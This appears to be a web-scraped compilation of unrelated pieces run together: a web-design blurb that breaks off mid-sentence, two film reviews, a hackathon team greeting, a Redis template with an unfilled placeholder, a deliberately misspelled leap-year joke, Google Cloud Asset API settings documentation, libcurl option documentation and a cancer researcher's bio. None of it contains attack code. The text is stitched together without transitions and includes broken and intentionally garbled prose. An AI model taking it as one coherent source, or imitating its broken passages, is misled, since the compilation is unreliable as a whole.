Single page application
A single page application (SPA) has dynamic features on the page in
SPAs create a sense of flow and continuity across different sections
of the app. The benefits of this technique include a faster deployment
time and a pleasant user experience (UX).
Motion UI
Web page animations have really taken off, from tiny icon movements to
full-screen parallax effects. Motion UI libraries make it easier than
ever to create and implement these effects. Animations make the user
experience more attractive. It can readily bring attention to a
specific area of the page, such as a prominent Call to Action (CTA).


LICENCE TO KILL A film review by Steve Rhodes Copyright 1998 Steve Rhodes
RATING (0 TO ****): * 1/2
The second and last picture to have Timothy Dalton as a cold as ice James Bond is 1989's LICENCE TO KILL. If you like your 007s as dry as a dry martini, this may be the Bond for you. Otherwise, you may feel Dalton belongs with George Lazenby (ON HER MAJESTY'S SECRET SERVICE) as one of the actors who disgraced the Bond name.
LICENCE TO KILL features Robert Davi as a drug smuggler named Franz Sanchez, a sadomasochist who likes to whip his women when they don't obey. Sanchez's band of drug runners use maggots to camouflage their stash and sharks to munch on any drug enforcement officers who get too close. CIA agent Felix Leiter (David Hedison) reappears from 1973's LIVE AND LET DIE, and promptly gets severely munched. Bond, who wants to go after the mutilators of his old friend Leiter, gets his "licence to kill" revoked by M when he refuses to give up the hunt.
Although set on Key West and on a Caribbean island, the cinematography by Alec Mills and the sets by Peter Lamont have none of the usual lovely travelogue aspect of Bond pictures. The mundane visuals fit right in with the bland storyline.
Where are the signature chase scenes, the sexual humor and the romantic trysts that we come to Bond films for in the first place? Here the chase scenes are mainly saved until the end.
In the perfect Bond setup, he runs out of gas in a speedboat on a romantic evening with a beautiful woman, Pam Bouvier (Carey Lowell). Dalton's reaction? He is miffed about the delay. Although his Bond finally agrees to a sexual encounter with her, it is only because she pressures him. The old James sought out such opportunities without being coerced. The only genuinely erotic scene occurs later when Bond sticks his hand up Pam's skirt, but he's just going for her hidden gun.
(LICENCE TO KILL is the first Bond film to be rated PG-13 - they since have all had this rating - which is partly because of the addition in the early 1980s of the PG-13 rating and partly because of the increased amount of blood and profanity in LICENCE TO KILL.)
A white-suited Wayne Newton, providing some much needed humor, appears in a cameo as a televangelist on the prowl for donations. His real purpose is to convey the wholesale price of drugs and negotiate drug deals on the air in secret.
After a languid and completely formulaic movie, the pace finally picks up at the end in a long chase scene using large gasoline trucks. When the only memorable visual is a semi doing a wheelie, you know the picture is in trouble.
LICENCE TO KILL runs too long at 2:13. It is rated PG-13 for profanity and violence and would be fine for kids around 9 and up.
My son Jeffrey, age 9, thought the movie was just okay. He gave it ** and complained that it was too bloody.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Hello! We are int elligence=100;. Quite Big name right? But yeah we love it :)
This is our First Hackathon in which we are participating; So yeah we don't have that much experience for a hackathon
We learnt a lot from HACKCBS in open-source, collaboration, etc.
We don't know we will win this or not but yeah we enjoyed it and will wait for the next season too with more preparation.
Regards int elligence=100;


Every 2 seconds, we increment a hits key in redis, and also add the latest timestamp to a redis list.
Redis is
running on {{ provider }}.
Elapsed time between last two requests was:


Leap year are year where we must am jump all of years Leap year amz da year where there are is less day, why? we am lerning the whys.
the year make an are leapings cuz it r sneaky, and taek day off, we must punish year it be an lazy we are let the year take day off cuz it r a stopid cuz they r unyunized or somefing dumb.
if you can r make numbar using lots of 4's combinated 2gether, and it don't not split into 100 even unless it also split into 400 even.
Conculsion nobody liek Leap Year.
AM LOP YOR.


Cloud Asset V1 API - Class AssetServiceSettings (2.9.0)
public sealed class AssetServiceSettings : ServiceSettingsBase
Reference documentation and code samples for the Cloud Asset V1 API class AssetServiceSettings.
Settings for AssetServiceClient instances.
Inheritance
System.Object > Google.Api.Gax.Grpc.ServiceSettingsBase > AssetServiceSettingsNamespace
Google.Cloud.Asset.V1Assembly
Google.Cloud.Asset.V1.dll
Constructors
AssetServiceSettings()
public AssetServiceSettings()
Constructs a new AssetServiceSettings object with default settings.
Properties
AnalyzeIamPolicyLongrunningOperationsSettings
public OperationsSettings AnalyzeIamPolicyLongrunningOperationsSettings { get; set; }
Long Running Operation settings for calls to AssetServiceClient.AnalyzeIamPolicyLongrunning
and
AssetServiceClient.AnalyzeIamPolicyLongrunningAsync
.
| Type | Description |
| Google.LongRunning.OperationsSettings |
Uses default Google.Api.Gax.PollSettings of:
- Initial delay: 20 seconds.
- Delay multiplier: 1.5
- Maximum delay: 45 seconds.
- Total timeout: 24 hours.
AnalyzeIamPolicyLongrunningSettings
public CallSettings AnalyzeIamPolicyLongrunningSettings { get; set; }
Google.Api.Gax.Grpc.CallSettings for synchronous and asynchronous calls to
AssetServiceClient.AnalyzeIamPolicyLongrunning
and
AssetServiceClient.AnalyzeIamPolicyLongrunningAsync
.
| Type | Description |
| Google.Api.Gax.Grpc.CallSettings |
- This call will not be retried.
- Timeout: 60 seconds.
AnalyzeIamPolicySettings
public CallSettings AnalyzeIamPolicySettings { get; set; }
Google.Api.Gax.Grpc.CallSettings for synchronous and asynchronous calls to
AssetServiceClient.AnalyzeIamPolicy
and AssetServiceClient.AnalyzeIamPolicyAsync
.
| Type | Description |
| Google.Api.Gax.Grpc.CallSettings |
- Initial retry delay: 100 milliseconds.
- Retry delay multiplier: 1.3
- Retry maximum delay: 60000 milliseconds.
- Maximum attempts: Unlimited
- Timeout: 300 seconds.
BatchGetAssetsHistorySettings
public CallSettings BatchGetAssetsHistorySettings { get; set; }
Google.Api.Gax.Grpc.CallSettings for synchronous and asynchronous calls to
AssetServiceClient.BatchGetAssetsHistory
and AssetServiceClient.BatchGetAssetsHistoryAsync
.
| Type | Description |
| Google.Api.Gax.Grpc.CallSettings |
- Initial retry delay: 100 milliseconds.
- Retry delay multiplier: 1.3
- Retry maximum delay: 60000 milliseconds.
- Maximum attempts: Unlimited
- Timeout: 60 seconds.
CreateFeedSettings
public CallSettings CreateFeedSettings { get; set; }
Google.Api.Gax.Grpc.CallSettings for synchronous and asynchronous calls to
AssetServiceClient.CreateFeed
and AssetServiceClient.CreateFeedAsync
.
| Type | Description |
| Google.Api.Gax.Grpc.CallSettings |
- This call will not be retried.
- Timeout: 60 seconds.
DeleteFeedSettings
public CallSettings DeleteFeedSettings { get; set; }
Google.Api.Gax.Grpc.CallSettings for synchronous and asynchronous calls to
AssetServiceClient.DeleteFeed
and AssetServiceClient.DeleteFeedAsync
.
| Type | Description |
| Google.Api.Gax.Grpc.CallSettings |
- Initial retry delay: 100 milliseconds.
- Retry delay multiplier: 1.3
- Retry maximum delay: 60000 milliseconds.
- Maximum attempts: Unlimited
- Timeout: 60 seconds.
ExportAssetsOperationsSettings
public OperationsSettings ExportAssetsOperationsSettings { get; set; }
Long Running Operation settings for calls to AssetServiceClient.ExportAssets
and
AssetServiceClient.ExportAssetsAsync
.
| Type | Description |
| Google.LongRunning.OperationsSettings |
Uses default Google.Api.Gax.PollSettings of:
- Initial delay: 20 seconds.
- Delay multiplier: 1.5
- Maximum delay: 45 seconds.
- Total timeout: 24 hours.
ExportAssetsSettings
public CallSettings ExportAssetsSettings { get; set; }
Google.Api.Gax.Grpc.CallSettings for synchronous and asynchronous calls to
AssetServiceClient.ExportAssets
and AssetServiceClient.ExportAssetsAsync
.
| Type | Description |
| Google.Api.Gax.Grpc.CallSettings |
- This call will not be retried.
- Timeout: 60 seconds.
GetFeedSettings
public CallSettings GetFeedSettings { get; set; }
Google.Api.Gax.Grpc.CallSettings for synchronous and asynchronous calls to AssetServiceClient.GetFeed
and AssetServiceClient.GetFeedAsync
.
| Type | Description |
| Google.Api.Gax.Grpc.CallSettings |
- Initial retry delay: 100 milliseconds.
- Retry delay multiplier: 1.3
- Retry maximum delay: 60000 milliseconds.
- Maximum attempts: Unlimited
- Timeout: 60 seconds.
ListAssetsSettings
public CallSettings ListAssetsSettings { get; set; }
Google.Api.Gax.Grpc.CallSettings for synchronous and asynchronous calls to
AssetServiceClient.ListAssets
and AssetServiceClient.ListAssetsAsync
.
| Type | Description |
| Google.Api.Gax.Grpc.CallSettings |
- Initial retry delay: 100 milliseconds.
- Retry delay multiplier: 1.3
- Retry maximum delay: 60000 milliseconds.
- Maximum attempts: Unlimited
- Timeout: 60 seconds.
ListFeedsSettings
public CallSettings ListFeedsSettings { get; set; }
Google.Api.Gax.Grpc.CallSettings for synchronous and asynchronous calls to
AssetServiceClient.ListFeeds
and AssetServiceClient.ListFeedsAsync
.
| Type | Description |
| Google.Api.Gax.Grpc.CallSettings |
- Initial retry delay: 100 milliseconds.
- Retry delay multiplier: 1.3
- Retry maximum delay: 60000 milliseconds.
- Maximum attempts: Unlimited
- Timeout: 60 seconds.
SearchAllIamPoliciesSettings
public CallSettings SearchAllIamPoliciesSettings { get; set; }
Google.Api.Gax.Grpc.CallSettings for synchronous and asynchronous calls to
AssetServiceClient.SearchAllIamPolicies
and AssetServiceClient.SearchAllIamPoliciesAsync
.
| Type | Description |
| Google.Api.Gax.Grpc.CallSettings |
- Initial retry delay: 100 milliseconds.
- Retry delay multiplier: 1.3
- Retry maximum delay: 60000 milliseconds.
- Maximum attempts: 5
- Timeout: 15 seconds.
SearchAllResourcesSettings
public CallSettings SearchAllResourcesSettings { get; set; }
Google.Api.Gax.Grpc.CallSettings for synchronous and asynchronous calls to
AssetServiceClient.SearchAllResources
and AssetServiceClient.SearchAllResourcesAsync
.
| Type | Description |
| Google.Api.Gax.Grpc.CallSettings |
- Initial retry delay: 100 milliseconds.
- Retry delay multiplier: 1.3
- Retry maximum delay: 60000 milliseconds.
- Maximum attempts: 5
- Timeout: 15 seconds.
UpdateFeedSettings
public CallSettings UpdateFeedSettings { get; set; }
Google.Api.Gax.Grpc.CallSettings for synchronous and asynchronous calls to
AssetServiceClient.UpdateFeed
and AssetServiceClient.UpdateFeedAsync
.
| Type | Description |
| Google.Api.Gax.Grpc.CallSettings |
- This call will not be retried.
- Timeout: 60 seconds.
Methods
Clone()
public AssetServiceSettings Clone()
Creates a deep clone of this object, with all the same property values.
| Type | Description |
| AssetServiceSettings | A deep clone of this AssetServiceSettings object. |
GetDefault()
public static AssetServiceSettings GetDefault()
Get a new instance of the default AssetServiceSettings.
| Type | Description |
| AssetServiceSettings | A new instance of the default AssetServiceSettings. |


CURLOPT_UNIX_SOCKET_PATH explained
NAME
CURLOPT_UNIX_SOCKET_PATH - set Unix domain socket
SYNOPSIS
#include <curl/curl.h>
CURLcode curl_easy_setopt(CURL *handle, CURLOPT_UNIX_SOCKET_PATH, char *path);
DESCRIPTION
Enables the use of Unix domain sockets as connection endpoint and sets the path to path. If path is NULL, then Unix domain sockets are disabled. An empty string will result in an error at some point, it will not disable use of Unix domain sockets.
When enabled, curl will connect to the Unix domain socket instead of establishing a TCP connection to a host. Since no TCP connection is created, curl does not need to resolve the DNS hostname in the URL.
The maximum path length on Cygwin, Linux and Solaris is 107. On other platforms it might be even less.
Proxy and TCP options such as CURLOPT_TCP_NODELAYare not supported. Proxy options such as CURLOPT_PROXYhave no effect either as these are TCP-oriented, and asking a proxy server to connect to a certain Unix domain socket is not possible.
The application does not have to keep the string around after setting this option.
DEFAULT
Default is NULL, meaning that no Unix domain sockets are used.
PROTOCOLS
All protocols except for file:// and FTP are supported in theory. HTTP, IMAP, POP3 and SMTP should in particular work (including their SSL/TLS variants).
EXAMPLE
Given that you have an nginx server running, listening on /tmp/nginx.sock, you can request an HTTP resource with:
curl_easy_setopt(curl_handle, CURLOPT_UNIX_SOCKET_PATH, "/tmp/nginx.sock"); curl_easy_setopt(curl_handle, CURLOPT_URL, "http://localhost/");
If you are on Linux and somehow have a need for paths larger than 107 bytes, you could use the proc filesystem to bypass the limitation:
int dirfd = open(long_directory_path_to_socket, O_DIRECTORY | O_RDONLY); char path[108]; snprintf(path, sizeof(path), "/proc/self/fd/%d/nginx.sock", dirfd); curl_easy_setopt(curl_handle, CURLOPT_UNIX_SOCKET_PATH, path); /* Be sure to keep dirfd valid until you discard the handle */
AVAILABILITY
RETURN VALUE
Returns CURLE_OK if the option is supported, and CURLE_UNKNOWN_OPTION if not.
SEE ALSO
CURLOPT_OPENSOCKETFUNCTION, unix (7)
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BATMAN AND ROBIN A film review by Hanson Yoo Copyright 1997 Hanson Yoo
This is the worst movie I've seen since the "so bad I walked out on it" "Jingle All The Way".
Nothing works in this film, as to be expected from Joel Schumacher, who has made only one watchable film in his entire career (that being "Cousins"). Here's a man who admits he's a medicore director, a rather charmingly self-effacing statement. But truth be told, he is much worse than mediocre.
Not all scorn should be heaped on Schumacher though -- Akiva Goldsman should not be allowed to write ever again. There is no plot anywhere, and the "dialogue" is unrelentingly shallow, preposterous, and boring. They set up Mr. Freeze as a tragic figure trying to cure his cryogenically frozen wife, then completely sabotage his character by giving him the lamest one-liners. It turns him into a stock maniacal villain who thoroughly enjoys his villainy instead of a brooding scientist who has spent much of his life to bringing his wife from the brink of death. But that's par for course -- nothing in this film makes any sense, including half of Arnold Schwarzenegger's lines. As Mr. Freeze, Arnold is given way too much dialogue to spit out at once. This is the same problem he had in "Jingle All the Way", and it seems that his Austrian accent is getting thicker and more unintelligible as the days pass. Personally, I think that he has more pull with the directors and doesn't retake scenes to make him understandable.  Apparently, James Cameron knows how to get a competent performance out of Arnold.
Uma Thurman is not as bad, but nothing resembling good either. Her Poison Ivy vamps around terribly, chewing up scenery left and right. And her Pamela Isley scenes are marred by sub-SNL standard "acting", as if she's reading off cue cards and is about to laugh at any given moment. Given the "script", it's a wonder it didn't happen more frequently.
There is no redeeming feature in this film -- not George Clooney as Batman, Chris O'Donnell as Robin, nor Alicia Silverstone as Batgirl. Michael Gough is eerily sickly looking as Alfred, as if the conceit of his illness was prompted by his cadaverous appearance. In fact, there was something unsettling about his appearance, which seems to have been accomplished without any make-up tricks, looking as if it were scenes from a documentary about a dying man. Unfortunately, every scene about Alfred's sickness is bungled with such incompetence that there is absolutely no emotional resonance -- they just go through the motions, losing whatever impact the scenes were supposed to impart.
The movie is rife with poorly choreographed fights scenes that never give any sense of a big battle -- you know there's a bunch of people, but instead of a melee, Schumacher decided to focus on a foot or a fist. There's never a moment of awe, wonder, or mayhem. The only interesting part of the battles scenes are the freezing effects, which are impressive (and probably expensive).  The hockey team from hell?
Frustrating too are the various supporting characters that walk on and off with nothing to say or do. Blink, and you'll miss Elle MacPherson as Julie Madison, Vivica Fox as a "why is she even in the film" vamp in Freeze's lair (with all of two lines), and Pat Hingle as the most ineffectual Commissioner Gordan the Batman series ever had. And in what almost seems like an effort to save on costs, Vendela Kirsebom has no lines as Mrs. Fries -- she isn't even filmed well enough to look good (trust me, she's quite attractive outside of this dreck).
And as if the film weren't bad enough to limp along with bad direction, bad dialogue, bad performances, and bad fight scenes, there are inconsistencies and illogic galore. I know it's nit-picky to ask where the hundreds of feet of cable are stored in the batarangs, why the character's arms aren't ripped out of their sockets when they accomplish a one-armed batarang save after falling hundreds of feet (while holding on to another person no less), or where the moisture comes from when Freeze's weapon creates tons if ice. That's all traditional comic book stuff. But why does Batman spring a trap for Freeze at a public charity event that endanger the lives of hundreds of by-standers? Why is there a big switch clearly marked, "Heat" in Mr. Freeze's lair? Why do countless bumbling police officers even try to take on Mr. Freeze hand to hand? Why does Alfred encourage Silverstone to become Batgirl and even go so far as to have a suit made for her? Why do Batman & Robin take 10 minutes to bicker before leaving the Batcave in response to an emergency? And since it established early on that Ivy is using pheromones, why don't they wear masks to filter it out? I could go on and on.
"Batman & Robin" is a braindead, pointless, garish, loud film that should still reign as the "worst film of the year" by the time 1998 rolls along. Note to Warner Bros. -- if you're going to make another Batman film, please replace Schumacher with nearly anyone. Because it could actually get worse than this. What Schumacher does not understand is that "comic book" doesn't automatically equal unbearable idiocy. The true equation seems to be Schumacher + Batman = unbearable idiocy.
Grade: F
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Hi everyone, umm, where do I start? I’m Ajit and I am currently a Research Fellow at the Dana-Farber Cancer Institute and Harvard Medical School.
I work on multi-dimensional characterization of minimal residual disease (MRD’s) in lymphoma to delineate their genetic, transcriptional, spatial and biophysical attributes at a single-cell level to identify MRD-specific vulnerabilities, thereby to shift the paradigm of lymphoma treatment from maximum tumor debulking to cure.
My study also catalyzes advances across other cancer types by providing the necessary platform technologies, resources and computational tools. The ultimate impact that I envision is a paradigm shift toward biomarker-based approaches for converting deep remissions of lymphomas into cures.
I received a PhD in cancer genetics and genomics from the University of Edinburgh. During my PhD I used large cancer datasets to identify, characterize and model immune system across different tumor types. I developed ImSig, a network-based computational framework that facilitates the characterization of immune cells within the tumor microenvironment.
I am also a strong vocalist for open science. I had developed a platform to connect science, scientists, and the public. I firmly believe that proper communication between scientists and people would be extremely beneficial in tackling some of the greatest challenges that we face together as a species. To promote this, I had established a platform called “The Surg” solely to provide a destination for people to learn about the latest research from scientists themselves.
Some of you might also know me from some of the social issue initiatives that I took on. You can check them out on my media page. Beyond these, I enjoy drawing, painting and playing basketball. If you would like to get in touch with me, text me through my facebook page.
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